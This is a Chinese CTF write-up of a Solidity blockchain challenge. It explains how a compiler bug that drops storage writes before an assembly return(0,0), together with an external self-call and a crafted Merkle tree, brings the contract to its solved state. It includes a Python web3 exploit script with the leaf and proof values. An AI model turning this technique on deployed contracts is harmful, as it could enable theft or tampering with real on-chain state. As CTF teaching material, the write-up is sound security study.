默认分类

阿里云CTF blockchain

赛时在出去打线下,只做了一个区块链

Source

pragma solidity ^0.8.0;

contract Greeter {
    uint256 public x;
    uint256 public y;
    bytes32 public root;
    mapping(bytes32 => bool) public used_leafs;

    constructor(bytes32 root_hash) {
        root = root_hash;
    }

    modifier onlyGreeter() {
        require(msg.sender == address(this));
        _;
    }

    function g(bool a) internal returns (uint256, uint256) {
        if (a) return (0, 1);
        assembly {
            return(0, 0)
        }
    }

    function a(uint256 i, uint256 n) public onlyGreeter {
        x = n;
        g((n <= 2));
        x = i;
    }

    function b(
        bytes32[] calldata leafs,
        bytes32[][] calldata proofs,
        uint256[] calldata indexs
    ) public {
        require(leafs.length == proofs.length, "Greeter: length not equal");
        require(leafs.length == indexs.length, "Greeter: length not equal");

        for (uint256 i = 0; i < leafs.length; i++) {
            require(
                verify(proofs[i], leafs[i], indexs[i]),
                "Greeter: proof invalid"
            );
            require(used_leafs[leafs[i]] == false, "Greeter: leaf has be used");
            used_leafs[leafs[i]] = true;
            this.a(i, y);
            y++;
        }
    }

    function verify(
        bytes32[] memory proof,
        bytes32 leaf,
        uint256 index
    ) internal view returns (bool) {
        bytes32 hash = leaf;

        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];

            if (index % 2 == 0) {
                hash = keccak256(abi.encodePacked(hash, proofElement));
            } else {
                hash = keccak256(abi.encodePacked(proofElement, hash));
            }

            index = index / 2;
        }

        return hash == root;
    }

    function isSolved() public view returns (bool) {
        return x == 2 && y == 4;
    }
}

题目要求是让 x=2 y=4
至于x和y的赋值也比较明显,都是要通过verify去调用,但是我们发现正常来说他们只会相差1 如何相差2呢。
那就是多次调用verify 让x和y不同步。 那么还有一个问题。

    function g(bool a) internal returns (uint256, uint256) {
        if (a) return (0, 1);
        assembly {
            return(0, 0)
        }
    }

这个函数非常蹊跷。通过上面的条件可以发现如果y>=3了 那么就会进入到 assembly,
而汇编中的return(0,0)意思是终止整个交易。我之前看过这样一篇文章:
https://blog.soliditylang.org/2022/09/08/storage-write-removal-before-conditional-termination/
2023-04-26T01:55:40.png
感兴趣的同学可以详细看看,大体意思就是说在这个版本中 return(0,0)会导致这里写的storage 状态回滚。
那么我们在 verify 一个循环为3的长度后 状态为x=2,y=3 那么如果再次进入循环为1的verify 很明显x要被赋值,而上面的这个漏洞正好弥补了这个缺点,而为什么它的y还会增加呢。
因为它使用的是

            require(used_leafs[leafs[i]] == false, "Greeter: leaf has be used");
            used_leafs[leafs[i]] = true;
            this.a(i, y);
            y++;

而不是
a(i,y)
相当于发起了一个内联交易,停止的只是内联交易 而不是整个我们的verify。剩下的就是构造3个路径的树。
其实比较好构造 2 2的一棵树,用根+第一层节点+第二层中的一个就够了。

        ROOT
     X .     Y
Alice.Bob.  Calor Calor

POC:

leafs=[long_to_bytes(0xb57c9b430ecc5b184f7ab285b8c9ca898e3e528c4668d136ee0fab03ae716f86),
           long_to_bytes(0x9b1a0a45cfdc60f45820808958c1895d44da61c8f804f5560020a373b23ad51e),
           long_to_bytes(0x4a35f5bda2916fbfac6936f63313cee16979995b2409de59ceda0377bae8c486)]
    index=[1,0,1]
    temp=[[],[long_to_bytes(0x4a35f5bda2916fbfac6936f63313cee16979995b2409de59ceda0377bae8c486)],
          [long_to_bytes(0x9b1a0a45cfdc60f45820808958c1895d44da61c8f804f5560020a373b23ad51e)]]
    b1 = {
        'from': acct.address,
        'to': game_address,
        'nonce': web3.eth.getTransactionCount(acct.address),
        'gasPrice': web3.toWei(1, 'gwei'),
        'gas': 487260,
        'value': web3.toWei(0, 'ether'),
        'data': function_b(leafs,temp,index),
        "chainId": 45267
    }

    print(deploy(b1))
    leafs=[long_to_bytes(0x804cd8981ad63027eb1d4a7e3ac449d0685f3660d6d8b1288eb12d345ca2331d)]
    index=[2]
    proofs=[[long_to_bytes(0x804cd8981ad63027eb1d4a7e3ac449d0685f3660d6d8b1288eb12d345ca2331d),
             long_to_bytes(0x9b1a0a45cfdc60f45820808958c1895d44da61c8f804f5560020a373b23ad51e)]]
    b2 = {
        'from': acct.address,
        'to': game_address,
        'nonce': web3.eth.getTransactionCount(acct.address),
        'gasPrice': web3.toWei(1, 'gwei'),
        'gas': 4872600,
        'value': web3.toWei(0, 'ether'),
        'data': function_b(leafs, proofs, index),
        "chainId": 45267
    }
    print(deploy(b2))
    print(web3.eth.getStorageAt(game_address,1))

感谢Panda提供的优质赛题。

回复

This is just a placeholder img.